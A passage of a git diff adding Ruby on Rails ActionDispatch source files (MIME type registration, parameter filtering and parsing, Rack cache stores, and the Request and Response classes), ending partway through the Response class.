+Mime::Type.register "text/javascript", :js, %w( application/javascript application/x-javascript )
+Mime::Type.register "text/css", :css
+Mime::Type.register "text/calendar", :ics
+Mime::Type.register "text/csv", :csv
+Mime::Type.register "text/vcard", :vcf
+
+Mime::Type.register "image/png", :png, [], %w(png)
+Mime::Type.register "image/jpeg", :jpeg, [], %w(jpg jpeg jpe pjpeg)
+Mime::Type.register "image/gif", :gif, [], %w(gif)
+Mime::Type.register "image/bmp", :bmp, [], %w(bmp)
+Mime::Type.register "image/tiff", :tiff, [], %w(tif tiff)
+Mime::Type.register "image/svg+xml", :svg
+
+Mime::Type.register "video/mpeg", :mpeg, [], %w(mpg mpeg mpe)
+
+Mime::Type.register "application/xml", :xml, %w( text/xml application/x-xml )
+Mime::Type.register "application/rss+xml", :rss
+Mime::Type.register "application/atom+xml", :atom
+Mime::Type.register "application/x-yaml", :yaml, %w( text/yaml ), %w(yml yaml)
+
+Mime::Type.register "multipart/form-data", :multipart_form
+Mime::Type.register "application/x-www-form-urlencoded", :url_encoded_form
+
+# http://www.ietf.org/rfc/rfc4627.txt
+# http://www.json.org/JSONRequest.html
+Mime::Type.register "application/json", :json, %w( text/x-json application/jsonrequest )
+
+Mime::Type.register "application/pdf", :pdf, [], %w(pdf)
+Mime::Type.register "application/zip", :zip, [], %w(zip)
+Mime::Type.register "application/gzip", :gzip, %w(application/x-gzip), %w(gz)
diff --git a/actionpack/lib/action_dispatch/http/parameter_filter.rb b/actionpack/lib/action_dispatch/http/parameter_filter.rb
new file mode 100644
index 0000000000..1d58964862
--- /dev/null
+++ b/actionpack/lib/action_dispatch/http/parameter_filter.rb
@@ -0,0 +1,86 @@
+# frozen_string_literal: true
+
+require "active_support/core_ext/object/duplicable"
+
+module ActionDispatch
+  module Http
+    class ParameterFilter
+      FILTERED = "[FILTERED]".freeze # :nodoc:
+
+      def initialize(filters = [])
+        @filters = filters
+      end
+
+      def filter(params)
+        compiled_filter.call(params)
+      end
+
+    private
+
+      def compiled_filter
+        @compiled_filter ||= CompiledFilter.compile(@filters)
+      end
+
+      class CompiledFilter # :nodoc:
+        def self.compile(filters)
+          return lambda { |params| params.dup } if filters.empty?
+
+          strings, regexps, blocks = [], [], []
+
+          filters.each do |item|
+            case item
+            when Proc
+              blocks << item
+            when Regexp
+              regexps << item
+            else
+              strings << Regexp.escape(item.to_s)
+            end
+          end
+
+          deep_regexps, regexps = regexps.partition { |r| r.to_s.include?("\\.".freeze) }
+          deep_strings, strings = strings.partition { |s| s.include?("\\.".freeze) }
+
+          regexps << Regexp.new(strings.join("|".freeze), true) unless strings.empty?
+          deep_regexps << Regexp.new(deep_strings.join("|".freeze), true) unless deep_strings.empty?
+
+          new regexps, deep_regexps, blocks
+        end
+
+        attr_reader :regexps, :deep_regexps, :blocks
+
+        def initialize(regexps, deep_regexps, blocks)
+          @regexps = regexps
+          @deep_regexps = deep_regexps.any? ? deep_regexps : nil
+          @blocks = blocks
+        end
+
+        def call(original_params, parents = [])
+          filtered_params = original_params.class.new
+
+          original_params.each do |key, value|
+            parents.push(key) if deep_regexps
+            if regexps.any? { |r| key =~ r }
+              value = FILTERED
+            elsif deep_regexps && (joined = parents.join(".")) && deep_regexps.any? { |r| joined =~ r }
+              value = FILTERED
+            elsif value.is_a?(Hash)
+              value = call(value, parents)
+            elsif value.is_a?(Array)
+              value = value.map { |v| v.is_a?(Hash) ? call(v, parents) : v }
+            elsif blocks.any?
+              key = key.dup if key.duplicable?
+              value = value.dup if value.duplicable?
+              blocks.each { |b| b.call(key, value) }
+            end
+            parents.pop if deep_regexps
+
+            filtered_params[key] = value
+          end
+
+          filtered_params
+        end
+      end
+    end
+  end
+end
diff --git a/actionpack/lib/action_dispatch/http/parameters.rb b/actionpack/lib/action_dispatch/http/parameters.rb
new file mode 100644
index 0000000000..d80d1d714c
--- /dev/null
+++ b/actionpack/lib/action_dispatch/http/parameters.rb
@@ -0,0 +1,129 @@
+# frozen_string_literal: true
+
+module ActionDispatch
+  module Http
+    module Parameters
+      extend ActiveSupport::Concern
+
+      PARAMETERS_KEY = "action_dispatch.request.path_parameters"
+
+      DEFAULT_PARSERS = {
+        Mime[:json].symbol => -> (raw_post) {
+          data = ActiveSupport::JSON.decode(raw_post)
+          data.is_a?(Hash) ? data : { _json: data }
+        }
+      }
+
+      # Raised when raw data from the request cannot be parsed by the parser
+      # defined for request's content MIME type.
+      class ParseError < StandardError
+        def initialize
+          super($!.message)
+        end
+      end
+
+      included do
+        class << self
+          # Returns the parameter parsers.
+          attr_reader :parameter_parsers
+        end
+
+        self.parameter_parsers = DEFAULT_PARSERS
+      end
+
+      module ClassMethods
+        # Configure the parameter parser for a given MIME type.
+        #
+        # It accepts a hash where the key is the symbol of the MIME type
+        # and the value is a proc.
+        #
+        #     original_parsers = ActionDispatch::Request.parameter_parsers
+        #     xml_parser = -> (raw_post) { Hash.from_xml(raw_post) || {} }
+        #     new_parsers = original_parsers.merge(xml: xml_parser)
+        #     ActionDispatch::Request.parameter_parsers = new_parsers
+        def parameter_parsers=(parsers)
+          @parameter_parsers = parsers.transform_keys { |key| key.respond_to?(:symbol) ? key.symbol : key }
+        end
+      end
+
+      # Returns both GET and POST \parameters in a single hash.
+      def parameters
+        params = get_header("action_dispatch.request.parameters")
+        return params if params
+
+        params = begin
+                   request_parameters.merge(query_parameters)
+                 rescue EOFError
+                   query_parameters.dup
+                 end
+        params.merge!(path_parameters)
+        params = set_binary_encoding(params)
+        set_header("action_dispatch.request.parameters", params)
+        params
+      end
+      alias :params :parameters
+
+      def path_parameters=(parameters) #:nodoc:
+        delete_header("action_dispatch.request.parameters")
+
+        # If any of the path parameters has an invalid encoding then
+        # raise since it's likely to trigger errors further on.
+        Request::Utils.check_param_encoding(parameters)
+
+        set_header PARAMETERS_KEY, parameters
+      rescue Rack::Utils::ParameterTypeError, Rack::Utils::InvalidParameterError => e
+        raise ActionController::BadRequest.new("Invalid path parameters: #{e.message}")
+      end
+
+      # Returns a hash with the \parameters used to form the \path of the request.
+      # Returned hash keys are strings:
+      #
+      #   {'action' => 'my_action', 'controller' => 'my_controller'}
+      def path_parameters
+        get_header(PARAMETERS_KEY) || set_header(PARAMETERS_KEY, {})
+      end
+
+      private
+
+        def set_binary_encoding(params)
+          action = params[:action]
+          if binary_params_for?(action)
+            ActionDispatch::Request::Utils.each_param_value(params) do |param|
+              param.force_encoding ::Encoding::ASCII_8BIT
+            end
+          end
+          params
+        end
+
+        def binary_params_for?(action)
+          controller_class.binary_params_for?(action)
+        rescue NameError
+          false
+        end
+
+        def parse_formatted_parameters(parsers)
+          return yield if content_length.zero? || content_mime_type.nil?
+
+          strategy = parsers.fetch(content_mime_type.symbol) { return yield }
+
+          begin
+            strategy.call(raw_post)
+          rescue # JSON or Ruby code block errors.
+            my_logger = logger || ActiveSupport::Logger.new($stderr)
+            my_logger.debug "Error occurred while parsing request parameters.\nContents:\n\n#{raw_post}"
+
+            raise ParseError
+          end
+        end
+
+        def params_parsers
+          ActionDispatch::Request.parameter_parsers
+        end
+    end
+  end
+
+  module ParamsParser
+    include ActiveSupport::Deprecation::DeprecatedConstantAccessor
+    deprecate_constant "ParseError", "ActionDispatch::Http::Parameters::ParseError"
+  end
+end
diff --git a/actionpack/lib/action_dispatch/http/rack_cache.rb b/actionpack/lib/action_dispatch/http/rack_cache.rb
new file mode 100644
index 0000000000..3e2d01aea3
--- /dev/null
+++ b/actionpack/lib/action_dispatch/http/rack_cache.rb
@@ -0,0 +1,63 @@
+# frozen_string_literal: true
+
+require "rack/cache"
+require "rack/cache/context"
+require "active_support/cache"
+
+module ActionDispatch
+  class RailsMetaStore < Rack::Cache::MetaStore
+    def self.resolve(uri)
+      new
+    end
+
+    def initialize(store = Rails.cache)
+      @store = store
+    end
+
+    def read(key)
+      if data = @store.read(key)
+        Marshal.load(data)
+      else
+        []
+      end
+    end
+
+    def write(key, value)
+      @store.write(key, Marshal.dump(value))
+    end
+
+    ::Rack::Cache::MetaStore::RAILS = self
+  end
+
+  class RailsEntityStore < Rack::Cache::EntityStore
+    def self.resolve(uri)
+      new
+    end
+
+    def initialize(store = Rails.cache)
+      @store = store
+    end
+
+    def exist?(key)
+      @store.exist?(key)
+    end
+
+    def open(key)
+      @store.read(key)
+    end
+
+    def read(key)
+      body = open(key)
+      body.join if body
+    end
+
+    def write(body)
+      buf = []
+      key, size = slurp(body) { |part| buf << part }
+      @store.write(key, buf)
+      [key, size]
+    end
+
+    ::Rack::Cache::EntityStore::RAILS = self
+  end
+end
diff --git a/actionpack/lib/action_dispatch/http/request.rb b/actionpack/lib/action_dispatch/http/request.rb
new file mode 100644
index 0000000000..94b0d4880c
--- /dev/null
+++ b/actionpack/lib/action_dispatch/http/request.rb
@@ -0,0 +1,409 @@
+# frozen_string_literal: true
+
+require "stringio"
+
+require "active_support/inflector"
+require_relative "headers"
+require "action_controller/metal/exceptions"
+require "rack/request"
+require_relative "cache"
+require_relative "mime_negotiation"
+require_relative "parameters"
+require_relative "filter_parameters"
+require_relative "upload"
+require_relative "url"
+require "active_support/core_ext/array/conversions"
+
+module ActionDispatch
+  class Request
+    include Rack::Request::Helpers
+    include ActionDispatch::Http::Cache::Request
+    include ActionDispatch::Http::MimeNegotiation
+    include ActionDispatch::Http::Parameters
+    include ActionDispatch::Http::FilterParameters
+    include ActionDispatch::Http::URL
+    include Rack::Request::Env
+
+    autoload :Session, "action_dispatch/request/session"
+    autoload :Utils,   "action_dispatch/request/utils"
+
+    LOCALHOST   = Regexp.union [/^127\.\d{1,3}\.\d{1,3}\.\d{1,3}$/, /^::1$/, /^0:0:0:0:0:0:0:1(%.*)?$/]
+
+    ENV_METHODS = %w[ AUTH_TYPE GATEWAY_INTERFACE
+        PATH_TRANSLATED REMOTE_HOST
+        REMOTE_IDENT REMOTE_USER REMOTE_ADDR
+        SERVER_NAME SERVER_PROTOCOL
+        ORIGINAL_SCRIPT_NAME
+
+        HTTP_ACCEPT HTTP_ACCEPT_CHARSET HTTP_ACCEPT_ENCODING
+        HTTP_ACCEPT_LANGUAGE HTTP_CACHE_CONTROL HTTP_FROM
+        HTTP_NEGOTIATE HTTP_PRAGMA HTTP_CLIENT_IP
+        HTTP_X_FORWARDED_FOR HTTP_ORIGIN HTTP_VERSION
+        HTTP_X_CSRF_TOKEN HTTP_X_REQUEST_ID HTTP_X_FORWARDED_HOST
+        SERVER_ADDR
+        ].freeze
+
+    ENV_METHODS.each do |env|
+      class_eval <<-METHOD, __FILE__, __LINE__ + 1
+        def #{env.sub(/^HTTP_/n, '').downcase}  # def accept_charset
+          get_header "#{env}".freeze            #   get_header "HTTP_ACCEPT_CHARSET".freeze
+        end                                     # end
+      METHOD
+    end
+
+    def self.empty
+      new({})
+    end
+
+    def initialize(env)
+      super
+      @method            = nil
+      @request_method    = nil
+      @remote_ip         = nil
+      @original_fullpath = nil
+      @fullpath          = nil
+      @ip                = nil
+    end
+
+    def commit_cookie_jar! # :nodoc:
+    end
+
+    PASS_NOT_FOUND = Class.new { # :nodoc:
+      def self.action(_); self; end
+      def self.call(_); [404, { "X-Cascade" => "pass" }, []]; end
+      def self.binary_params_for?(action); false; end
+    }
+
+    def controller_class
+      params = path_parameters
+
+      if params.key?(:controller)
+        controller_param = params[:controller].underscore
+        params[:action] ||= "index"
+        const_name = "#{controller_param.camelize}Controller"
+        ActiveSupport::Dependencies.constantize(const_name)
+      else
+        PASS_NOT_FOUND
+      end
+    end
+
+    # Returns true if the request has a header matching the given key parameter.
+    #
+    #    request.key? :ip_spoofing_check # => true
+    def key?(key)
+      has_header? key
+    end
+
+    # List of HTTP request methods from the following RFCs:
+    # Hypertext Transfer Protocol -- HTTP/1.1 (http://www.ietf.org/rfc/rfc2616.txt)
+    # HTTP Extensions for Distributed Authoring -- WEBDAV (http://www.ietf.org/rfc/rfc2518.txt)
+    # Versioning Extensions to WebDAV (http://www.ietf.org/rfc/rfc3253.txt)
+    # Ordered Collections Protocol (WebDAV) (http://www.ietf.org/rfc/rfc3648.txt)
+    # Web Distributed Authoring and Versioning (WebDAV) Access Control Protocol (http://www.ietf.org/rfc/rfc3744.txt)
+    # Web Distributed Authoring and Versioning (WebDAV) SEARCH (http://www.ietf.org/rfc/rfc5323.txt)
+    # Calendar Extensions to WebDAV (http://www.ietf.org/rfc/rfc4791.txt)
+    # PATCH Method for HTTP (http://www.ietf.org/rfc/rfc5789.txt)
+    RFC2616 = %w(OPTIONS GET HEAD POST PUT DELETE TRACE CONNECT)
+    RFC2518 = %w(PROPFIND PROPPATCH MKCOL COPY MOVE LOCK UNLOCK)
+    RFC3253 = %w(VERSION-CONTROL REPORT CHECKOUT CHECKIN UNCHECKOUT MKWORKSPACE UPDATE LABEL MERGE BASELINE-CONTROL MKACTIVITY)
+    RFC3648 = %w(ORDERPATCH)
+    RFC3744 = %w(ACL)
+    RFC5323 = %w(SEARCH)
+    RFC4791 = %w(MKCALENDAR)
+    RFC5789 = %w(PATCH)
+
+    HTTP_METHODS = RFC2616 + RFC2518 + RFC3253 + RFC3648 + RFC3744 + RFC5323 + RFC4791 + RFC5789
+
+    HTTP_METHOD_LOOKUP = {}
+
+    # Populate the HTTP method lookup cache.
+    HTTP_METHODS.each { |method|
+      HTTP_METHOD_LOOKUP[method] = method.underscore.to_sym
+    }
+
+    # Returns the HTTP \method that the application should see.
+    # In the case where the \method was overridden by a middleware
+    # (for instance, if a HEAD request was converted to a GET,
+    # or if a _method parameter was used to determine the \method
+    # the application should use), this \method returns the overridden
+    # value, not the original.
+    def request_method
+      @request_method ||= check_method(super)
+    end
+
+    def routes # :nodoc:
+      get_header("action_dispatch.routes".freeze)
+    end
+
+    def routes=(routes) # :nodoc:
+      set_header("action_dispatch.routes".freeze, routes)
+    end
+
+    def engine_script_name(_routes) # :nodoc:
+      get_header(_routes.env_key)
+    end
+
+    def engine_script_name=(name) # :nodoc:
+      set_header(routes.env_key, name.dup)
+    end
+
+    def request_method=(request_method) #:nodoc:
+      if check_method(request_method)
+        @request_method = set_header("REQUEST_METHOD", request_method)
+      end
+    end
+
+    def controller_instance # :nodoc:
+      get_header("action_controller.instance".freeze)
+    end
+
+    def controller_instance=(controller) # :nodoc:
+      set_header("action_controller.instance".freeze, controller)
+    end
+
+    def http_auth_salt
+      get_header "action_dispatch.http_auth_salt"
+    end
+
+    def show_exceptions? # :nodoc:
+      # We're treating `nil` as "unset", and we want the default setting to be
+      # `true`. This logic should be extracted to `env_config` and calculated
+      # once.
+      !(get_header("action_dispatch.show_exceptions".freeze) == false)
+    end
+
+    # Returns a symbol form of the #request_method.
+    def request_method_symbol
+      HTTP_METHOD_LOOKUP[request_method]
+    end
+
+    # Returns the original value of the environment's REQUEST_METHOD,
+    # even if it was overridden by middleware. See #request_method for
+    # more information.
+    def method
+      @method ||= check_method(get_header("rack.methodoverride.original_method") || get_header("REQUEST_METHOD"))
+    end
+
+    # Returns a symbol form of the #method.
+    def method_symbol
+      HTTP_METHOD_LOOKUP[method]
+    end
+
+    # Provides access to the request's HTTP headers, for example:
+    #
+    #   request.headers["Content-Type"] # => "text/plain"
+    def headers
+      @headers ||= Http::Headers.new(self)
+    end
+
+    # Returns a +String+ with the last requested path including their params.
+    #
+    #    # get '/foo'
+    #    request.original_fullpath # => '/foo'
+    #
+    #    # get '/foo?bar'
+    #    request.original_fullpath # => '/foo?bar'
+    def original_fullpath
+      @original_fullpath ||= (get_header("ORIGINAL_FULLPATH") || fullpath)
+    end
+
+    # Returns the +String+ full path including params of the last URL requested.
+    #
+    #    # get "/articles"
+    #    request.fullpath # => "/articles"
+    #
+    #    # get "/articles?page=2"
+    #    request.fullpath # => "/articles?page=2"
+    def fullpath
+      @fullpath ||= super
+    end
+
+    # Returns the original request URL as a +String+.
+    #
+    #    # get "/articles?page=2"
+    #    request.original_url # => "http://www.example.com/articles?page=2"
+    def original_url
+      base_url + original_fullpath
+    end
+
+    # The +String+ MIME type of the request.
+    #
+    #    # get "/articles"
+    #    request.media_type # => "application/x-www-form-urlencoded"
+    def media_type
+      content_mime_type.to_s
+    end
+
+    # Returns the content length of the request as an integer.
+    def content_length
+      super.to_i
+    end
+
+    # Returns true if the "X-Requested-With" header contains "XMLHttpRequest"
+    # (case-insensitive), which may need to be manually added depending on the
+    # choice of JavaScript libraries and frameworks.
+    def xml_http_request?
+      get_header("HTTP_X_REQUESTED_WITH") =~ /XMLHttpRequest/i
+    end
+    alias :xhr? :xml_http_request?
+
+    # Returns the IP address of client as a +String+.
+    def ip
+      @ip ||= super
+    end
+
+    # Returns the IP address of client as a +String+,
+    # usually set by the RemoteIp middleware.
+    def remote_ip
+      @remote_ip ||= (get_header("action_dispatch.remote_ip") || ip).to_s
+    end
+
+    def remote_ip=(remote_ip)
+      set_header "action_dispatch.remote_ip".freeze, remote_ip
+    end
+
+    ACTION_DISPATCH_REQUEST_ID = "action_dispatch.request_id".freeze # :nodoc:
+
+    # Returns the unique request id, which is based on either the X-Request-Id header that can
+    # be generated by a firewall, load balancer, or web server or by the RequestId middleware
+    # (which sets the action_dispatch.request_id environment variable).
+    #
+    # This unique ID is useful for tracing a request from end-to-end as part of logging or debugging.
+    # This relies on the Rack variable set by the ActionDispatch::RequestId middleware.
+    def request_id
+      get_header ACTION_DISPATCH_REQUEST_ID
+    end
+
+    def request_id=(id) # :nodoc:
+      set_header ACTION_DISPATCH_REQUEST_ID, id
+    end
+
+    alias_method :uuid, :request_id
+
+    # Returns the lowercase name of the HTTP server software.
+    def server_software
+      (get_header("SERVER_SOFTWARE") && /^([a-zA-Z]+)/ =~ get_header("SERVER_SOFTWARE")) ? $1.downcase : nil
+    end
+
+    # Read the request \body. This is useful for web services that need to
+    # work with raw requests directly.
+    def raw_post
+      unless has_header? "RAW_POST_DATA"
+        raw_post_body = body
+        set_header("RAW_POST_DATA", raw_post_body.read(content_length))
+        raw_post_body.rewind if raw_post_body.respond_to?(:rewind)
+      end
+      get_header "RAW_POST_DATA"
+    end
+
+    # The request body is an IO input stream. If the RAW_POST_DATA environment
+    # variable is already set, wrap it in a StringIO.
+    def body
+      if raw_post = get_header("RAW_POST_DATA")
+        raw_post = raw_post.dup.force_encoding(Encoding::BINARY)
+        StringIO.new(raw_post)
+      else
+        body_stream
+      end
+    end
+
+    # Determine whether the request body contains form-data by checking
+    # the request Content-Type for one of the media-types:
+    # "application/x-www-form-urlencoded" or "multipart/form-data". The
+    # list of form-data media types can be modified through the
+    # +FORM_DATA_MEDIA_TYPES+ array.
+    #
+    # A request body is not assumed to contain form-data when no
+    # Content-Type header is provided and the request_method is POST.
+    def form_data?
+      FORM_DATA_MEDIA_TYPES.include?(media_type)
+    end
+
+    def body_stream #:nodoc:
+      get_header("rack.input")
+    end
+
+    # TODO This should be broken apart into AD::Request::Session and probably
+    # be included by the session middleware.
+    def reset_session
+      if session && session.respond_to?(:destroy)
+        session.destroy
+      else
+        self.session = {}
+      end
+    end
+
+    def session=(session) #:nodoc:
+      Session.set self, session
+    end
+
+    def session_options=(options)
+      Session::Options.set self, options
+    end
+
+    # Override Rack's GET method to support indifferent access.
+    def GET
+      fetch_header("action_dispatch.request.query_parameters") do |k|
+        rack_query_params = super || {}
+        # Check for non UTF-8 parameter values, which would cause errors later
+        Request::Utils.check_param_encoding(rack_query_params)
+        set_header k, Request::Utils.normalize_encode_params(rack_query_params)
+      end
+    rescue Rack::Utils::ParameterTypeError, Rack::Utils::InvalidParameterError => e
+      raise ActionController::BadRequest.new("Invalid query parameters: #{e.message}")
+    end
+    alias :query_parameters :GET
+
+    # Override Rack's POST method to support indifferent access.
+    def POST
+      fetch_header("action_dispatch.request.request_parameters") do
+        pr = parse_formatted_parameters(params_parsers) do |params|
+          super || {}
+        end
+        self.request_parameters = Request::Utils.normalize_encode_params(pr)
+      end
+    rescue Http::Parameters::ParseError # one of the parse strategies blew up
+      self.request_parameters = Request::Utils.normalize_encode_params(super || {})
+      raise
+    rescue Rack::Utils::ParameterTypeError, Rack::Utils::InvalidParameterError => e
+      raise ActionController::BadRequest.new("Invalid request parameters: #{e.message}")
+    end
+    alias :request_parameters :POST
+
+    # Returns the authorization header regardless of whether it was specified directly or through one of the
+    # proxy alternatives.
+    def authorization
+      get_header("HTTP_AUTHORIZATION")   ||
+      get_header("X-HTTP_AUTHORIZATION") ||
+      get_header("X_HTTP_AUTHORIZATION") ||
+      get_header("REDIRECT_X_HTTP_AUTHORIZATION")
+    end
+
+    # True if the request came from localhost, 127.0.0.1, or ::1.
+    def local?
+      LOCALHOST =~ remote_addr && LOCALHOST =~ remote_ip
+    end
+
+    def request_parameters=(params)
+      raise if params.nil?
+      set_header("action_dispatch.request.request_parameters".freeze, params)
+    end
+
+    def logger
+      get_header("action_dispatch.logger".freeze)
+    end
+
+    def commit_flash
+    end
+
+    def ssl?
+      super || scheme == "wss".freeze
+    end
+
+    private
+      def check_method(name)
+        HTTP_METHOD_LOOKUP[name] || raise(ActionController::UnknownHttpMethod, "#{name}, accepted HTTP methods are #{HTTP_METHODS[0...-1].join(', ')}, and #{HTTP_METHODS[-1]}")
+        name
+      end
+  end
+end
diff --git a/actionpack/lib/action_dispatch/http/response.rb b/actionpack/lib/action_dispatch/http/response.rb
new file mode 100644
index 0000000000..84b2ef253d
--- /dev/null
+++ b/actionpack/lib/action_dispatch/http/response.rb
@@ -0,0 +1,520 @@
+# frozen_string_literal: true
+
+require "active_support/core_ext/module/attribute_accessors"
+require_relative "filter_redirect"
+require_relative "cache"
+require "monitor"
+
+module ActionDispatch # :nodoc:
+  # Represents an HTTP response generated by a controller action. Use it to
+  # retrieve the current state of the response, or customize the response. It can
+  # either represent a real HTTP response (i.e. one that is meant to be sent
+  # back to the web browser) or a TestResponse (i.e. one that is generated
+  # from integration tests).
+  #
+  # \Response is mostly a Ruby on \Rails framework implementation detail, and
+  # should never be used directly in controllers. Controllers should use the
+  # methods defined in ActionController::Base instead. For example, if you want
+  # to set the HTTP response's content MIME type, then use
+  # ActionControllerBase#headers instead of Response#headers.
+  #
+  # Nevertheless, integration tests may want to inspect controller responses in
+  # more detail, and that's when \Response can be useful for application
+  # developers. Integration test methods such as
+  # ActionDispatch::Integration::Session#get and
+  # ActionDispatch::Integration::Session#post return objects of type
+  # TestResponse (which are of course also of type \Response).
+  #
+  # For example, the following demo integration test prints the body of the
+  # controller response to the console:
+  #
+  #  class DemoControllerTest < ActionDispatch::IntegrationTest
+  #    def test_print_root_path_to_console
+  #      get('/')
+  #      puts response.body
+  #    end
+  #  end
+  class Response
+    class Header < DelegateClass(Hash) # :nodoc:
+      def initialize(response, header)
+        @response = response
+        super(header)
+      end
+
+      def []=(k, v)
+        if @response.sending? || @response.sent?
+          raise ActionDispatch::IllegalStateError, "header already sent"
+        end
+
+        super
+      end
+
+      def merge(other)
+        self.class.new @response, __getobj__.merge(other)
+      end
+
+      def to_hash
+        __getobj__.dup
+      end
+    end
+
+    # The request that the response is responding to.
+    attr_accessor :request
+
+    # The HTTP status code.
+    attr_reader :status
+
+    # Get headers for this response.
+    attr_reader :header
+
+    alias_method :headers,  :header
+
+    delegate :[], :[]=, to: :@header
+
+    def each(&block)
+      sending!
+      x = @stream.each(&block)
+      sent!
+      x
+    end
+
+    CONTENT_TYPE = "Content-Type".freeze
+    SET_COOKIE   = "Set-Cookie".freeze
+    LOCATION     = "Location".freeze
+    NO_CONTENT_CODES = [100, 101, 102, 204, 205, 304]
+
+    cattr_accessor :default_charset, default: "utf-8"
+    cattr_accessor :default_headers
+
+    include Rack::Response::Helpers
+    # Aliasing these off because AD::Http::Cache::Response defines them.
+    alias :_cache_control :cache_control
+    alias :_cache_control= :cache_control=
+
+    include ActionDispatch::Http::FilterRedirect
+    include ActionDispatch::Http::Cache::Response
+    include MonitorMixin
+
+    class Buffer # :nodoc:
+      def initialize(response, buf)
+        @response = response
+        @buf      = buf
+        @closed   = false
+        @str_body = nil
+      end
+
+      def body
+        @str_body ||= begin
+          buf = "".dup
+          each { |chunk| buf << chunk }
+          buf
+        end
+      end
+
+      def write(string)
+        raise IOError, "closed stream" if closed?
+
+        @str_body = nil
+        @response.commit!
+        @buf.push string
+      end
+
+      def each(&block)
+        if @str_body
+          return enum_for(:each) unless block_given?
+
+          yield @str_body
+        else
+          each_chunk(&block)
+        end
+      end
+
+      def abort
+      end
+
+      def close
+        @response.commit!
+        @closed = true
+      end
+
+      def closed?
+        @closed
+      end
+
+      private
+
+        def each_chunk(&block)
+          @buf.each(&block)
+        end
+    end
+
+    def self.create(status = 200, header = {}, body = [], default_headers: self.default_headers)
+      header = merge_default_headers(header, default_headers)
+      new status, header, body
+    end
+
+    def self.merge_default_headers(original, default)
+      default.respond_to?(:merge) ? default.merge(original) : original
+    end
+
+    # The underlying body, as a streamable object.
+    attr_reader :stream
+
+    def initialize(status = 200, header = {}, body = [])
+      super()
+
+      @header = Header.new(self, header)
+
+      self.body, self.status = body, status
+
+      @cv           = new_cond
+      @committed    = false
+      @sending      = false
+      @sent         = false
+
+      prepare_cache_control!
+
+      yield self if block_given?
+    end
+
+    def has_header?(key);   headers.key? key;   end
+    def get_header(key);    headers[key];       end
+    def set_header(key, v); headers[key] = v;   end
+    def delete_header(key); headers.delete key; end
+
+    def await_commit
+      synchronize do
+        @cv.wait_until { @committed }
+      end
+    end
+
+    def await_sent
+      synchronize { @cv.wait_until { @sent } }
+    end
+
+    def commit!
+      synchronize do
+        before_committed
+        @committed = true
+        @cv.broadcast
+      end
+    end
+
+    def sending!
+      synchronize do
+        before_sending
+        @sending = true
+        @cv.broadcast
+      end
+    end
+
+    def sent!
+      synchronize do
+        @sent = true
+        @cv.broadcast
+      end
+    end
+
+    def sending?;   synchronize { @sending };   end
+    def committed?; synchronize { @committed }; end
+    def sent?;      synchronize { @sent };      end
+
+    # Sets the HTTP status code.
+    def status=(status)
+      @status = Rack::Utils.status_code(status)
+    end
+
+    # Sets the HTTP content type.
+    def content_type=(content_type)
+      return unless content_type
+      new_header_info = parse_content_type(content_type.to_s)
+      prev_header_info = parsed_content_type_header
+      charset = new_header_info.charset || prev_header_info.charset
+      charset ||= self.class.default_charset unless prev_header_info.mime_type
+      set_content_type new_header_info.mime_type, charset
+    end
+
+    # Sets the HTTP response's content MIME type. For example, in the controller
+    # you could write this:
+    #
+    #  response.content_type = "text/plain"
+    #
+    # If a character set has been defined for this response (see charset=) then
+    # the character set information will also be included in the content type
+    # information.
+
+    def content_type
+      parsed_content_type_header.mime_type
+    end
+
+    def sending_file=(v)
+      if true == v
+        self.charset = false
+      end
+    end
+
+    # Sets the HTTP character set. In case of +nil+ parameter
+    # it sets the charset to +default_charset+.
+    #
+    #   response.charset = 'utf-16' # => 'utf-16'
+    #   response.charset = nil      # => 'utf-8'
+    def charset=(charset)
+      header_info = parsed_content_type_header
+      if false == charset
+        set_header CONTENT_TYPE, header_info.mime_type
+      else
+        content_type = header_info.mime_type
+        set_content_type content_type, charset || self.class.default_charset
+      end
+    end
+
+    # The charset of the response. HTML wants to know the encoding of the
+    # content you're giving them, so we need to send that along.
+    def charset
+      header_info = parsed_content_type_header
+      header_info.charset || self.class.default_charset
+    end
+
+    # The response code of the request.
+    def response_code
+      @status
+    end
+
+    # Returns a string to ensure compatibility with <tt>Net::HTTPResponse</tt>.
+    def code
+      @status.to_s
+    end
+
+    # Returns the corresponding message for the current HTTP status code:
+    #
+    #   response.status = 200
+    #   response.message # => "OK"
+    #
+    #   response.status = 404
+    #   response.message # => "Not Found"
+    #
+    def message
+      Rack::Utils::HTTP_STATUS_CODES[@status]
+    end
+    alias_method :status_message, :message
+
+    # Returns the content of the response as a string. This contains the contents
+    # of any calls to <tt>render</tt>.
+    def body
+      @stream.body
+    end
+
+    def write(string)
+      @stream.write string
+    end
+
+    # Allows you to manually set or override the response body.
+    def body=(body)
+      if body.respond_to?(:to_path)
+        @stream = body
+      else
+        synchronize do
+          @stream = build_buffer self, munge_body_object(body)
+        end
+      end
+    end
+
+    # Avoid having to pass an open file handle as the response body.
+    # Rack::Sendfile will usually intercept the response and uses
+    # the path directly, so there is no reason to open the file.
+    class FileBody #:nodoc:
+      attr_reader :to_path
+
+      def initialize(path)
+        @to_path = path
+      end
+
+      def body
+        File.binread(to_path)
+      end
+
+      # Stream the file's contents if Rack::Sendfile isn't present.
+      def each
+        File.open(to_path, "rb") do |file|
+          while chunk = file.read(16384)
+            yield chunk
+          end
+        end
+      end
+    end
+
+    # Send the file stored at +path+ as the response body.
+    def send_file(path)
+      commit!
+      @stream = FileBody.new(path)
+    end
+
+    def reset_body!
+      @stream = build_buffer(self, [])
+    end
+
+    def body_parts
+      parts = []
+      @stream.each { |x| parts << x }
+      parts
+    end
+
+    # The location header we'll be responding with.
+    alias_method :redirect_url, :location
+
+    def close
+      stream.close if stream.respond_to?(:close)
+    end
+
+    def abort
+      if stream.respond_to?(:abort)
+        stream.abort
+      elsif stream.respond_to?(:close)
+        # `stream.close` should really be reserved for a close from the
+        # other direction, but we must fall back to it for
+        # compatibility.
+        stream.close
+      end
+    end
+
+    # Turns the Response into a Rack-compatible array of the status, headers,
+    # and body. Allows explicit splatting:
+    #
+    #   status, headers, body = *response
+    def to_a
+      commit!
+      rack_response @status, @header.to_hash
+    end
+    alias prepare! to_a
+
+    # Returns the response cookies, converted to a Hash of (name => value) pairs
+    #
+    #   assert_equal 'AuthorOfNewPage', r.cookies['author']
+    def cookies
+      cookies = {}
+      if header = get_header(SET_COOKIE)
+        header = header.split("\n") if header.respond_to?(:to_str)
+        header.each do |cookie|
+          if pair = cookie.split(";").first
+            key, value = pair.split("=").map { |v| Rack::Utils.unescape(v) }
+            cookies[key] = value
+          end
+        end
+      end
+      cookies
+    end
+
+  private
+
+    ContentTypeHeader = Struct.new :mime_type, :charset
